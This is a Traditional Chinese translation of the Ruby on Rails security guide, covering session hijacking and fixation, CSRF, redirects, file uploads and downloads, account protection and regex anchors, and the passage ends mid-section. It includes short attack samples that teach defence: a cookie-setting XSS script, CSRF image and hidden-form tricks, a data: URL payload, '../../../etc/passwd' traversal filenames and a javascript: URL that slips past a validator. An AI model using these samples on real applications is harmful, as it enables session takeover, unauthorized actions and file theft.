v7.1.3.2
更多資訊請至 rubyonrails.org: 更多 Ruby on Rails

保護 Rails 應用程式

本手冊說明了 Web 應用程式中常見的安全問題,以及如何透過 Rails 避免這些問題。

閱讀本指南後,您將會知道

1 簡介

Web 應用程式架構用於協助開發人員建置 Web 應用程式。其中一些架構也會協助您保護 Web 應用程式。事實上,一個架構並不比另一個架構更安全:如果您正確使用,您將能夠使用許多架構建置安全的應用程式。例如,Ruby on Rails 有一些聰明的輔助方法,可以防止 SQL 注入,因此這幾乎不是問題。

一般而言,沒有所謂的即插即用安全性。安全性取決於使用架構的人員,有時取決於開發方法。它還取決於 Web 應用程式環境的所有層級:後端儲存、Web 伺服器和 Web 應用程式本身(以及可能的其他層級或應用程式)。

然而,Gartner Group 估計有 75% 的攻擊發生在 Web 應用程式層,並發現「在 300 個受稽核的網站中,97% 容易受到攻擊」。這是因為 Web 應用程式相對容易受到攻擊,因為即使是外行人也能輕易了解和操作。

針對 Web 應用程式的威脅包括使用者帳戶劫持、繞過存取控制、讀取或修改敏感資料,或提供詐騙內容。攻擊者可能還能安裝特洛伊木馬程式或未經請求的電子郵件傳送軟體,以財務獲利為目標,或透過修改公司資源來損害品牌名稱。為了防止攻擊、將影響降到最低並移除攻擊點,首先,您必須完全了解攻擊方法才能找出正確的反制措施。這就是本指南的目的。

為了開發安全的 Web 應用程式,您必須隨時掌握所有層面,並了解您的敵人。為了保持最新資訊,請訂閱安全性郵件清單、閱讀安全性部落格,並養成更新和安全性檢查的習慣(請查看其他資源章節)。手動執行此作業,因為這樣才能找出令人討厭的邏輯安全性問題。

2 個工作階段

本章節說明一些與工作階段相關的特定攻擊,以及保護您的工作階段資料的安全性措施。

2.1 什麼是工作階段?

工作階段讓應用程式能夠在使用者與應用程式互動時,維持使用者的特定狀態。例如,工作階段讓使用者能驗證一次,並在後續的要求中保持登入狀態。

大多數應用程式需要追蹤與應用程式互動的使用者狀態。這可能是購物籃的內容,或是目前已登入使用者的使用者 ID。這種使用者特定的狀態可以儲存在工作階段中。

Rails 為每個存取應用程式的使用者提供一個工作階段物件。如果使用者已經有作用中的工作階段,Rails 會使用現有的工作階段。否則,會建立一個新的工作階段。

Action Controller Overview Guide 中進一步了解工作階段以及如何使用它們。

2.2 工作階段劫持

竊取使用者的工作階段 ID 可讓攻擊者以受害者的名義使用網路應用程式。

許多網路應用程式都有驗證系統:使用者提供使用者名稱和密碼,網路應用程式會檢查它們,並將對應的使用者 ID 儲存在工作階段雜湊中。從現在開始,工作階段有效。在每個要求中,應用程式會載入使用者,由工作階段中的使用者 ID 識別,而不需要新的驗證。Cookie 中的工作階段 ID 識別工作階段。

因此,Cookie 作為網路應用程式的暫時驗證。任何從其他人那裡取得 Cookie 的人,都可以以這個使用者的身分使用網路應用程式 - 可能造成嚴重的後果。以下是劫持工作階段的一些方法及其對策

  • 在不安全的網路中嗅探 Cookie。無線區域網路可以是這種網路的一個範例。在未加密的無線區域網路中,特別容易監聽所有已連線用戶端的流量。對於網路應用程式建構者來說,這表示要透過 SSL 提供安全的連線。在 Rails 3.1 和更新版本中,這可以在應用程式設定檔中強制 SSL 連線來完成

    config.force_ssl = true
    
  • 大多數人在公共終端機工作後不會清除 Cookie。因此,如果最後一個使用者沒有登出網路應用程式,您將可以使用這個使用者身分。在網路應用程式中為使用者提供登出按鈕,並使其顯著

  • 許多跨網站指令碼 (XSS) 漏洞利用旨在取得使用者的 Cookie。您稍後會在 進一步了解 XSS

  • 攻擊者並非竊取對其而言未知的 Cookie,而是修正他們已知的使用者會話識別碼(在 Cookie 中)。稍後將深入探討這所謂的會話固定。

大多數攻擊者的主要目標是賺錢。根據 Symantec 網際網路安全威脅報告 (2017),地下市場中竊取的銀行登入帳戶價格範圍從帳戶餘額的 0.5%-10%,信用卡號碼為 0.5-30 美元(完整詳細資料為 20-60 美元),身分(姓名、SSN 和 DOB)為 0.1-1.5 美元,零售商帳戶為 20-50 美元,而雲端服務供應商帳戶為 6-10 美元。

2.3 會話儲存

Rails 使用 ActionDispatch::Session::CookieStore 作為預設的會話儲存。

Action Controller 概觀指南 中深入瞭解其他會話儲存。

Rails CookieStore 會將會話雜湊儲存在客戶端的 Cookie 中。伺服器會從 Cookie 中擷取會話雜湊,並消除對會話 ID 的需求。這將大幅提升應用程式的速度,但這是一個有爭議的儲存選項,您必須考慮其安全性影響和儲存限制。

  • Cookie 的大小限制為 4 kB。僅將與會話相關的資料使用 Cookie。

  • Cookie 儲存在客戶端。客戶端可能會保留 Cookie 內容,即使對於已過期的 Cookie 也是如此。客戶端可能會將 Cookie 複製到其他機器。避免在 Cookie 中儲存敏感資料。

  • Cookie 本質上是暫時的。伺服器可以設定 Cookie 的到期時間,但客戶端可能會在此之前刪除 Cookie 及其內容。將所有較永久性質的資料持續儲存在伺服器端。

  • 工作階段 Cookie 沒有失效時間,可能會被惡意重複使用。建議使用儲存時間戳記讓應用程式失效舊的工作階段 Cookie。

  • Rails 預設會加密 Cookie。如果沒有破解加密,用戶端就無法讀取或編輯 Cookie 的內容。只要適當保護機密,就能確保 Cookie 的安全性。

CookieStore 使用 加密 Cookie 儲存罐,提供安全加密的位置來儲存工作階段資料。因此,基於 Cookie 的工作階段會保護內容的完整性和機密性。加密金鑰和用於 簽署 Cookie 的驗證金鑰,都是從 secret_key_base 設定值衍生而來。

機密必須又長又隨機。使用 bin/rails secret 取得新的獨特機密。

對加密和簽署的 Cookie 使用不同的 salt 值也很重要。對不同的 salt 設定值使用相同的值,可能會導致不同的安全功能使用相同的衍生金鑰,進而削弱金鑰的強度。

在測試和開發應用程式中,會從應用程式名稱取得衍生的 secret_key_base。其他環境必須使用 config/credentials.yml.enc 中存在的隨機金鑰,如下所示為解密狀態

secret_key_base: 492f...

如果應用程式的機密可能已外洩,強烈建議變更這些機密。請注意,變更 secret_key_base 會使目前已啟用的工作階段過期,並要求所有使用者重新登入。除了工作階段資料外,加密 Cookie、簽署 Cookie 和 Active Storage 檔案也可能會受到影響。

2.4 輪替加密和簽署的 Cookie 設定

輪替非常適合變更 Cookie 設定,並確保舊 Cookie 不會立即失效。這樣,使用者就有機會造訪你的網站,讓他們的 Cookie 使用舊設定讀取,並使用新變更重新撰寫。一旦你確定足夠多的使用者已升級他們的 Cookie,就可以移除輪替。

可以旋轉用於加密和簽署 cookie 的密碼和摘要。

例如,若要將簽署 cookie 使用的摘要從 SHA1 變更為 SHA256,您必須先指定新的組態值

Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"

現在為舊的 SHA1 摘要新增旋轉,這樣現有的 cookie 便能順利升級到新的 SHA256 摘要。

Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies|
  cookies.rotate :signed, digest: "SHA1"
end

然後,任何已寫入的簽署 cookie 都會使用 SHA256 摘要。使用 SHA1 寫入的舊 cookie 仍可讀取,如果存取,將會使用新的摘要寫入,因此會升級,而且當您移除旋轉時,它們不會失效。

一旦使用 SHA1 摘要簽署 cookie 的使用者不再有機會重新寫入其 cookie,請移除旋轉。

雖然您可以設定任意數量的旋轉,但通常不會在任何時間進行許多旋轉。

有關加密和簽署訊息的關鍵旋轉的更多詳細資訊,以及 rotate 方法接受的各種選項,請參閱 MessageEncryptor APIMessageVerifier API 文件。

2.5 CookieStore 會話的重播攻擊

使用 CookieStore 時,您必須注意的另一種攻擊是重播攻擊。

其運作方式如下

  • 使用者收到點數,金額儲存在會話中(這無論如何都是個壞主意,但我們會這樣做以示範)。
  • 使用者購買某項商品。
  • 新的調整後點數值儲存在會話中。
  • 使用者從第一步取得 cookie(他們先前已複製),並取代瀏覽器中的目前 cookie。
  • 使用者已取回其原始信用。

在工作階段中包含一個隨機值 (nonce) 可解決重播攻擊。nonce 只會驗證一次,而伺服器必須追蹤所有有效的 nonce。如果您有多個應用程式伺服器,情況會變得更複雜。將 nonce 儲存在資料庫表格中會破壞 CookieStore 的整個目的(避免存取資料庫)。

最佳的解決方案是不要將此類資料儲存在工作階段中,而要儲存在資料庫中。在此情況下,將信用儲存在資料庫中,並將 logged_in_user_id 儲存在工作階段中。

2.6 工作階段固定

除了竊取使用者的工作階段 ID 外,攻擊者可能會修復他們已知的某個工作階段 ID。這稱為工作階段固定。

Session fixation

此攻擊專注於修復攻擊者已知的使用者工作階段 ID,並強制使用者的瀏覽器使用此 ID。因此,攻擊者不必在事後竊取工作階段 ID。以下是此攻擊的運作方式

  • 攻擊者建立一個有效的 session ID:他們載入他們想要修復工作階段的網路應用程式的登入頁面,並從回應中取得 cookie 中的 session ID(請參閱圖片中的數字 1 和 2)。
  • 他們透過定期存取網路應用程式來維護工作階段,以保持過期工作階段的運作。
  • 攻擊者強迫使用者的瀏覽器使用這個工作階段 ID(請參閱圖片中的數字 3)。由於您無法變更其他網域的 Cookie(因為有相同來源政策),攻擊者必須從目標 Web 應用程式的網域執行 JavaScript。透過 XSS 將 JavaScript 程式碼注入應用程式即可完成此攻擊。以下是一個範例:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。稍後再進一步了解 XSS 和注入。
  • 攻擊者會引誘受害者前往含有 JavaScript 程式碼的受感染網頁。瀏覽網頁時,受害者的瀏覽器會將工作階段 ID 變更為陷阱工作階段 ID。
  • 由於新的陷阱工作階段未曾使用過,因此 Web 應用程式會要求使用者進行驗證。
  • 從現在開始,受害者和攻擊者將共同使用具有相同工作階段的 Web 應用程式:工作階段已生效,而受害者並未察覺攻擊。

2.7 工作階段固定 - 對策

一行程式碼就能保護您免於工作階段固定。

最有效的對策是「發出新的工作階段識別碼」,並在成功登入後宣告舊的識別碼無效。如此一來,攻擊者便無法使用固定的工作階段識別碼。這也是預防工作階段劫持的良好對策。以下是如何在 Rails 中建立新的工作階段

reset_session

如果您使用熱門的 Devise 寶石進行使用者管理,它會自動在您登入和登出時讓工作階段過期。如果您自行開發,請記得在登入動作(建立工作階段時)後讓工作階段過期。這會從工作階段中移除值,因此您必須將它們傳輸到新的工作階段

另一種對策是將使用者特定屬性儲存在工作階段中,每次要求進來時驗證它們,如果資訊不符則拒絕存取。此類屬性可以是遠端 IP 位址或使用者代理程式(網頁瀏覽器名稱),儘管後者較不特定於使用者。儲存 IP 位址時,您必須記住,有些網路服務供應商或大型組織會將其使用者置於代理伺服器之後。這些可能會在工作階段期間變更,因此這些使用者將無法使用您的應用程式,或只能以有限的方式使用。

2.8 工作階段過期

永不過期的工作階段會延長跨網站要求偽造 (CSRF)、工作階段劫持和工作階段固定等攻擊的時間範圍。

一種可能性是設定具有工作階段 ID 的 Cookie 的過期時間戳記。然而,用戶可以編輯儲存在網頁瀏覽器中的 Cookie,因此在伺服器上過期工作階段會更安全。以下是在資料庫表格中過期工作階段的範例。呼叫 Session.sweep(20.minutes) 以過期 20 分鐘前使用的工作階段。

class Session < ApplicationRecord
  def self.sweep(time = 1.hour)
    where(updated_at: ...time.ago).delete_all
  end
end

關於工作階段固定的區段介紹了維護工作階段的問題。攻擊者每五分鐘維護一次工作階段,即使您正在過期工作階段,也可以讓工作階段永遠保持活動狀態。一個簡單的解決方案是將 created_at 欄位新增至工作階段表格。現在,您可以刪除很久以前建立的工作階段。在上述的掃描方法中使用此行

where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all

3 跨網站要求偽造 (CSRF)

此攻擊方法透過在頁面中包含惡意程式碼或連結來運作,該頁面會存取使用者被認為已驗證的網頁應用程式。如果該網頁應用程式的階段尚未逾時,攻擊者可能會執行未經授權的指令。

Cross-Site Request Forgery

session 章節 中,您已瞭解到大多數 Rails 應用程式使用基於 cookie 的 session。它們會將 session ID 儲存在 cookie 中,並有一個伺服器端的 session hash,或將整個 session hash 放在客戶端。在任一種情況下,如果瀏覽器可以找到該網域的 cookie,它會在每次對網域的請求時自動傳送 cookie。有爭議的一點是,如果請求來自不同網域的網站,它也會傳送 cookie。讓我們從一個範例開始

  • Bob 瀏覽一個留言板,並檢視一位駭客的文章,其中有一個精心製作的 HTML 影像元素。該元素參照 Bob 專案管理應用程式中的指令,而不是一個影像檔案:<img src="http://www.webapp.com/project/1/destroy">
  • Bob 在 www.webapp.com 的 session 仍然存在,因為他幾分鐘前沒有登出。
  • 透過檢視文章,瀏覽器會找到一個影像標籤。它會嘗試從 www.webapp.com 載入可疑的影像。如前所述,它也會傳送包含有效 session ID 的 cookie。
  • www.webapp.com 上的網路應用程式會驗證對應 session hash 中的使用者資訊,並銷毀 ID 為 1 的專案。然後,它會傳回一個結果頁面,而這對瀏覽器來說是一個意外的結果,因此它不會顯示影像。
  • Bob 沒有注意到攻擊,但幾天後他發現專案編號一已經消失了。

重要的是要注意,實際製作的影像或連結不一定必須位於網路應用程式的網域中,它可以位於任何地方,例如論壇、部落格文章或電子郵件中。

CSRF 在 CVE(常見漏洞和曝險)中出現的次數非常少,2006 年時不到 0.1%,但它確實是一個「沉睡的巨人」[Grossman]。這與許多安全合約工作中的結果形成鮮明對比,CSRF 是一個重要的安全問題

3.1 CSRF 對策

首先,正如 W3C 所要求的,適當地使用 GET 和 POST。其次,非 GET 請求中的安全權杖將保護您的應用程式免於 CSRF。

3.1.1 適當地使用 GET 和 POST

HTTP 協定基本上提供了兩種主要的請求類型 - GET 和 POST(DELETE、PUT 和 PATCH 應像 POST 一樣使用)。萬維網聯盟 (W3C) 提供了一個檢查清單,用於選擇 HTTP GET 或 POST

如果符合以下情況,請使用 GET

  • 互動更像一個問題(即,它是一個安全的作業,例如查詢、讀取作業或查詢)。

如果符合以下情況,請使用 POST

  • 互動更像一個命令,或
  • 互動改變資源的狀態,而使用者會感知到(例如,訂閱服務),或
  • 使用者對互動的結果負責

如果您的網路應用程式是 RESTful,您可能習慣於其他 HTTP 動詞,例如 PATCH、PUT 或 DELETE。然而,一些舊式網路瀏覽器不支援它們,只支援 GET 和 POST。Rails 使用隱藏的 _method 欄位來處理這些情況。

POST 請求也可以自動發送。在此範例中,連結 www.harmless.com 顯示為瀏覽器狀態列中的目的地。但它實際上動態建立了一個新的表單,用於發送 POST 請求。

<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>

或者攻擊者將程式碼置於影像的 onmouseover 事件處理常式中

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

還有許多其他可能性,例如使用 <script> 標籤對具有 JSONP 或 JavaScript 回應的 URL 進行跨網站請求。回應是可執行程式碼,攻擊者可以找到執行它的方法,可能會擷取敏感資料。為防止此資料外洩,我們必須禁止跨網站 <script> 標籤。然而,Ajax 請求會遵守瀏覽器的同源政策(只有您自己的網站可以啟動 XmlHttpRequest),因此我們可以安全地允許它們傳回 JavaScript 回應。

我們無法區分 <script> 標籤的來源,無論它是您自己網站上的標籤還是其他惡意網站上的標籤,因此我們必須全面封鎖所有 <script>,即使它實際上是從您自己的網站提供安全同源腳本。在這些情況下,請在提供用於 <script> 標籤的 JavaScript 的動作上明確略過 CSRF 保護。

3.1.2 必需安全權杖

為防止所有其他偽造請求,我們引進我們的網站知道但其他網站不知道的「必需安全權杖」。我們在請求中包含安全權杖,並在伺服器上驗證它。當 config.action_controller.default_protect_from_forgery 設為 true 時,會自動執行此操作,這是新建立的 Rails 應用程式的預設值。您也可以透過將下列內容新增到您的應用程式控制器來手動執行

protect_from_forgery with: :exception

這會在 Rails 產生的所有表單中包含安全權杖。如果安全權杖與預期不符,將會擲回例外狀況。

使用 Turbo 提交表單時,也需要安全權杖。Turbo 會在您應用程式配置的 csrf meta 標籤中尋找權杖,並將它新增到 X-CSRF-Token 請求標頭中的請求。這些 meta 標籤是使用 csrf_meta_tags 輔助方法建立的

<head>
  <%= csrf_meta_tags %>
</head>

導致

<head>
  <meta name="csrf-param" content="authenticity_token" />
  <meta name="csrf-token" content="THE-TOKEN" />
</head>

當您從 JavaScript 提出自己的非 GET 要求時,也需要安全性代碼。 Rails Request.JS 是一個 JavaScript 函式庫,封裝了新增所需要求標頭的邏輯。

當使用其他函式庫進行 Ajax 呼叫時,必須自己將安全性代碼新增為預設標頭。若要從 meta 標籤取得代碼,您可以執行類似下列動作

document.head.querySelector("meta[name=csrf-token]")?.content

3.1.3 清除持續性 Cookie

通常會使用持續性 Cookie 來儲存使用者資訊,例如使用 cookies.permanent。在此情況下,Cookie 將不會被清除,而現成的 CSRF 保護將不會有效。如果您使用與此資訊不同的 Cookie 儲存區,則必須自行處理該資訊

rescue_from ActionController::InvalidAuthenticityToken do |exception|
  sign_out_user # Example method that will destroy the user cookies
end

上述方法可以放在 ApplicationController 中,並會在非 GET 要求中不存在 CSRF 代碼或代碼不正確時呼叫。

請注意,跨網站指令碼 (XSS) 漏洞會繞過所有 CSRF 保護。XSS 會讓攻擊者存取頁面上的所有元素,因此他們可以從表單中讀取 CSRF 安全性代碼或直接提交表單。稍後閱讀 有關 XSS 的更多資訊

4 重新導向和檔案

另一類型的安全性漏洞圍繞著在 Web 應用程式中使用重新導向和檔案。

4.1 重新導向

Web 應用程式中的重新導向是一個被低估的破解工具:攻擊者不僅可以將使用者轉發到陷阱網站,他們還可以建立一個獨立的攻擊。

只要允許使用者傳遞重新導向的 URL(部分),就可能存在漏洞。最明顯的攻擊是將使用者重新導向到一個看起來和感覺與原始應用程式完全相同的虛假 Web 應用程式。這種所謂的網路釣魚攻擊是透過在電子郵件中向使用者傳送一個沒有疑慮的連結,在 Web 應用程式中透過 XSS 注入連結,或將連結放入外部網站來運作的。它沒有疑慮,因為連結以 Web 應用程式的 URL 開頭,而惡意網站的 URL 則隱藏在重新導向參數中: http://www.example.com/site/redirect?to=www.attacker.com。以下是舊動作的一個範例

def legacy
  redirect_to(params.update(action: 'main'))
end

如果使用者嘗試存取舊版動作,這會將使用者重新導向至主要動作。目的是保留舊版動作的 URL 參數,並將它們傳遞至主要動作。不過,如果攻擊者在 URL 中包含主機金鑰,可能會遭到攻擊者利用

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

如果它位於 URL 的結尾,幾乎不會被注意到,並將使用者重新導向至 attacker.com 主機。一般來說,將使用者輸入直接傳遞至 redirect_to 被視為危險。一個簡單的對策是只在舊版動作中包含預期的參數(再次採用允許清單方法,而不是移除意外的參數)。而且,如果您重新導向至 URL,請使用允許清單或正規表示式檢查它

4.1.1 自我封裝 XSS

另一種重新導向和自我封裝 XSS 攻擊透過使用資料協定在 Firefox 和 Opera 中執行。此協定會直接在瀏覽器中顯示其內容,而且可以是從 HTML 或 JavaScript 到整個影像的任何內容

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

此範例是一個 Base64 編碼的 JavaScript,會顯示一個簡單的訊息方塊。在重新導向 URL 中,攻擊者可以使用其中包含的惡意程式碼重新導向至這個 URL。作為對策,不允許使用者提供要重新導向至的 URL(部分)

4.2 檔案上傳

請確定檔案上傳不會覆寫重要的檔案,並非同步處理媒體檔案。

許多網路應用程式允許使用者上傳檔案。檔案名稱(使用者可以(部分)選擇)應始終過濾,因為攻擊者可以使用惡意檔案名稱覆寫伺服器上的任何檔案。如果您將檔案上傳儲存在 /var/www/uploads 中,而且使用者輸入類似 "../../../etc/passwd" 的檔案名稱,它可能會覆寫一個重要的檔案。當然,Ruby 解譯器需要有適當的權限才能執行此動作 - 這是將網路伺服器、資料庫伺服器和其他程式當成權限較低的 Unix 使用者執行的另一個原因。

在過濾使用者輸入的檔案名稱時,不要嘗試移除惡意的部分。想想看,如果 Web 應用程式移除了檔案名稱中的所有「../」,而攻擊者使用「....//」等字串,結果就會變成「../」。最好使用允許清單方法,使用一組可接受字元檢查檔案名稱的有效性。這與嘗試移除不允許字元的限制清單方法相反。如果這不是有效的檔案名稱,請拒絕它(或替換不接受的字元),但不要移除它們。以下是 attachment_fu 外掛程式 的檔案名稱消毒程式

def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub!(/\A.*(\\|\/)/, '')
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub!(/[^\w.-]/, '_')
  end
end

同步處理檔案上傳(例如 attachment_fu 外掛程式對影像所做的處理)的一個重大缺點是,它容易受到阻斷服務攻擊。攻擊者可以從多台電腦同步啟動影像檔案上傳,這會增加伺服器負載,並可能最終導致伺服器當機或停擺。

解決這個問題的最佳方法是非同步處理媒體檔案:儲存媒體檔案,並在資料庫中排程處理請求。第二個處理程序將在背景中處理檔案。

4.3 檔案上傳中的可執行程式碼

當上傳的檔案中的原始程式碼放置在特定目錄中時,可能會執行。如果 Apache 的主目錄是 Rails 的 /public 目錄,請勿將檔案上傳放置在其中。

廣受歡迎的 Apache 網路伺服器有一個稱為 DocumentRoot 的選項。這是網站的起始目錄,此目錄樹中的所有內容都將由網路伺服器提供。如果檔案具有特定副檔名,則在要求時會執行其中的程式碼(可能需要設定一些選項)。這方面的範例包括 PHP 和 CGI 檔案。現在設想一個攻擊者上傳一個包含程式碼的「file.cgi」檔案,當有人下載檔案時,將會執行該程式碼。

如果你的 Apache DocumentRoot 指向 Rails 的 /public 目錄,請勿將檔案上傳置於其中,將檔案儲存在至少高一層的目錄中。

4.4 檔案下載

確保使用者無法下載任意檔案。

就像你必須過濾上傳的檔案名稱一樣,你必須對下載進行過濾。send_file() 方法會將檔案從伺服器傳送至用戶端。如果你使用使用者輸入的檔案名稱而未經過濾,則可以下載任何檔案

send_file('/var/www/uploads/' + params[:filename])

只要傳遞一個像 "../../../etc/passwd" 這樣的檔案名稱,就可以下載伺服器的登入資訊。針對此問題的一個簡單解決方案是檢查請求的檔案是否位於預期的目錄中

basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'

另一個(額外的)方法是將檔案名稱儲存在資料庫中,並根據資料庫中的識別碼為磁碟上的檔案命名。這也是避免上傳檔案中可能的程式碼被執行的良好方法。attachment_fu 外掛程式以類似的方式執行此操作。

5 使用者管理

幾乎每個網路應用程式都必須處理授權和驗證。建議使用常見的外掛程式,而不是自己開發。但也要保持這些外掛程式的最新狀態。一些額外的預防措施可以讓你的應用程式更加安全。

有許多可供 Rails 使用的驗證外掛程式。像廣受歡迎的 deviseauthlogic 等優秀外掛程式,只會儲存密碼的加密雜湊,而不是明文密碼。從 Rails 3.1 開始,你也可以使用內建的 has_secure_password 方法,它支援安全的密碼雜湊、確認和復原機制。

5.1 帳戶暴力破解

帳戶暴力破解攻擊是對登入憑證進行試誤攻擊。使用更通用的錯誤訊息來抵禦它們,並可能需要輸入 CAPTCHA。

您 Web 應用程式的使用者名稱清單可能會被濫用來暴力破解對應的密碼,因為大多數人不會使用複雜的密碼。大多數密碼是字典單字和可能數字的組合。因此,使用使用者名稱清單和字典,自動程式可以在幾分鐘內找到正確的密碼。

因此,如果其中一個不正確,大多數 Web 應用程式將顯示通用錯誤訊息「使用者名稱或密碼不正確」。如果它說「您輸入的使用者名稱未找到」,攻擊者可以自動編譯使用者名稱清單。

然而,大多數 Web 應用程式設計師忽略的是忘記密碼頁面。這些頁面通常會承認輸入的使用者名稱或電子郵件地址(未)被找到。這允許攻擊者編譯使用者名稱清單並暴力破解帳戶。

為了減輕此類攻擊,在忘記密碼頁面上也顯示通用錯誤訊息。此外,您可以在從特定 IP 位址登入失敗多次後要求輸入 CAPTCHA。但是,請注意,這並非針對自動程式的萬無一失的解決方案,因為這些程式可能會像這樣經常變更其 IP 位址。但是,它提高了攻擊的障礙。

5.2 帳戶劫持

許多 Web 應用程式讓劫持使用者帳戶變得容易。為什麼不與眾不同,讓它更困難?

5.2.1 密碼

設想一個攻擊者竊取了使用者的會話 cookie,因此可能會共同使用應用程式。如果很容易變更密碼,攻擊者將會按幾下就劫持帳戶。或者,如果變更密碼表單容易受到 CSRF 攻擊,攻擊者將能夠引誘受害者到一個網頁,其中有一個精心製作的 IMG 標籤來執行 CSRF,從而變更受害者的密碼。作為對策,當然要讓變更密碼表單對 CSRF 安全。而且要求使用者在變更密碼時輸入舊密碼

5.2.2 電子郵件

然而,攻擊者也可能透過變更電子郵件地址來接管帳戶。他們在變更後,將會前往忘記密碼頁面,而(可能是新的)密碼將會郵寄到攻擊者的電子郵件地址。作為對策也要求使用者在變更電子郵件地址時輸入密碼

5.2.3 其他

根據您的網路應用程式,可能還有更多方法可以劫持使用者的帳戶。在許多情況下,CSRF 和 XSS 將有助於執行此操作。例如,就像 Google Mail 中的 CSRF 漏洞。在此概念驗證攻擊中,受害者會被引誘到由攻擊者控制的網站。在該網站上有一個精心製作的 IMG 標籤,會導致 HTTP GET 要求變更 Google Mail 的篩選器設定。如果受害者已登入 Google Mail,攻擊者將會變更篩選器,將所有電子郵件轉寄到他們的電子郵件地址。這幾乎和劫持整個帳戶一樣有害。作為對策,檢閱您的應用程式邏輯,並消除所有 XSS 和 CSRF 漏洞

5.3 CAPTCHA

CAPTCHA 是一種挑戰回應測試,用於判斷回應是否非電腦產生。它常被用於保護註冊表單免於攻擊者入侵,以及保護留言表單免於自動垃圾訊息機器人入侵,方法是要求使用者輸入失真圖片中的字母。這是正向 CAPTCHA,但也有負向 CAPTCHA。負向 CAPTCHA 的構想並非要使用者證明自己是人類,而是要揭露機器人是機器人。

一個廣受歡迎的正向 CAPTCHA API 是 reCAPTCHA,它會顯示兩張失真圖片,圖片中的文字取自舊書。它也會加入一條傾斜線,而非像早期的 CAPTCHA 使用失真背景和高度扭曲文字,因為後者已被破解。作為額外好處,使用 reCAPTCHA 有助於將舊書數位化。 ReCAPTCHA 也是一個 Rails 外掛程式,其名稱與 API 相同。

你會從 API 取得兩個金鑰,一個公開金鑰和一個私密金鑰,你必須將它們放入你的 Rails 環境中。之後你可以在檢視中使用 recaptcha_tags 方法,以及在控制器中使用 verify_recaptcha 方法。如果驗證失敗,verify_recaptcha 會傳回 false。CAPTCHA 的問題在於它們對使用者體驗有負面影響。此外,有些視障使用者發現某些類型的失真 CAPTCHA 難以閱讀。儘管如此,正向 CAPTCHA 仍是防止各種機器人提交表單的最佳方法之一。

大多數機器人其實很單純。它們會爬行網路,並將垃圾訊息放入它們找到的每個表單欄位中。負向 CAPTCHA 利用這一點,在表單中包含一個「誘捕器」欄位,該欄位會透過 CSS 或 JavaScript 對人類使用者隱藏。

請注意,負面 CAPTCHA 僅對單純的機器人有效,不足以保護重要應用程式免受目標機器人的攻擊。不過,負面和正面 CAPTCHA 可以結合使用以提升效能,例如,如果「蜜罐」欄位不為空(偵測到機器人),您就不需要驗證正面 CAPTCHA,這需要在計算回應之前向 Google ReCaptcha 發出 HTTPS 要求。

以下是使用 JavaScript 和/或 CSS 隱藏蜜罐欄位的一些想法

  • 將欄位置於頁面可見區域之外
  • 將元素縮得很小或將其顏色設定與頁面背景相同
  • 讓欄位顯示出來,但告訴人類讓它們保持空白

最簡單的負面 CAPTCHA 是隱藏一個蜜罐欄位。在伺服器端,您將檢查欄位的值:如果它包含任何文字,它必定是機器人。然後,您可以忽略該文章或傳回正向結果,但不要將文章儲存到資料庫中。這樣機器人就會感到滿意並繼續執行。

您可以在 Ned Batchelder 的部落格文章中找到更精密的負面 CAPTCHA

  • 包含一個欄位,其中包含目前的 UTC 時間戳記,並在伺服器上檢查它。如果它太過於過去,或者如果它在未來,則表單無效。
  • 將欄位名稱隨機化
  • 包含多個所有類型的蜜罐欄位,包括提交按鈕

請注意,這只會保護您免受自動機器人的攻擊,目標量身打造的機器人無法被此方法阻止。因此負面 CAPTCHA 可能無法保護登入表單

5.4 記錄

告訴 Rails 不要將密碼放入記錄檔中。

預設情況下,Rails 會記錄所有對網路應用程式的要求。但記錄檔可能是一個巨大的安全問題,因為它們可能包含登入憑證、信用卡號碼等。在設計網路應用程式安全概念時,你也應該考慮如果攻擊者取得(完全)存取權限到網路伺服器時會發生什麼事。如果記錄檔以明文列出機密和密碼,在資料庫中加密機密和密碼將毫無用處。你可以透過將某些要求參數附加到應用程式設定中的 config.filter_parameters從記錄檔中篩選特定要求參數。這些參數將在記錄檔中標記為 [FILTERED]。

config.filter_parameters << :password

提供的參數將透過部分比對正規表示式進行篩選。Rails 在適當的初始化程式 (initializers/filter_parameter_logging.rb) 中新增一個預設篩選器清單,包括 :passw:secret:token,以處理典型的應用程式參數,例如 passwordpassword_confirmationmy_token

5.5 正規表示式

Ruby 正規表示式中常見的陷阱是用 ^ 和 $ 來比對字串的開頭和結尾,而不是 \A 和 \z。

Ruby 使用與許多其他語言略有不同的方法來比對字串的結尾和開頭。這就是為什麼許多 Ruby 和 Rails 書籍都會弄錯的原因。那麼,這如何構成安全威脅?假設你想要隨意驗證一個 URL 欄位,並且你使用了一個像這樣的簡單正規表示式

/^https?:\/\/[^\n]+$/i

這在某些語言中可能運作良好。然而,在 Ruby 中 ^$ 比對開頭和行結尾。因此,像這樣的 URL 可以毫無問題地通過篩選

javascript:exploit_code();/*
http://hi.com
*/

此 URL 通過篩選,因為正規表示式與第二行相符,其餘部分無關緊要。現在想像我們有一個以這種方式顯示 URL 的檢視

link_to "Homepage", @user.homepage

連結對訪客來說看起來無害,但當它被點擊時,它將執行 JavaScript 函式「exploit_code」或攻擊者提供的任何其他 JavaScript。

若要修正正規表示式,應使用 \A\z 取代 ^$,如下所示

/\Ahttps?:\/\/[^\n]+\z/i

由於這是一個常見的錯誤,格式驗證器 (validates_format_of) 現在會在提供的正規表示式以 ^ 開頭或以 $ 結尾時引發例外。如果您確實需要使用 ^ 和 $ 而非 \A 和 \z(這很罕見),您可以將 :multiline 選項設定為 true,如下所示

# content should include a line "Meanwhile" anywhere in the string
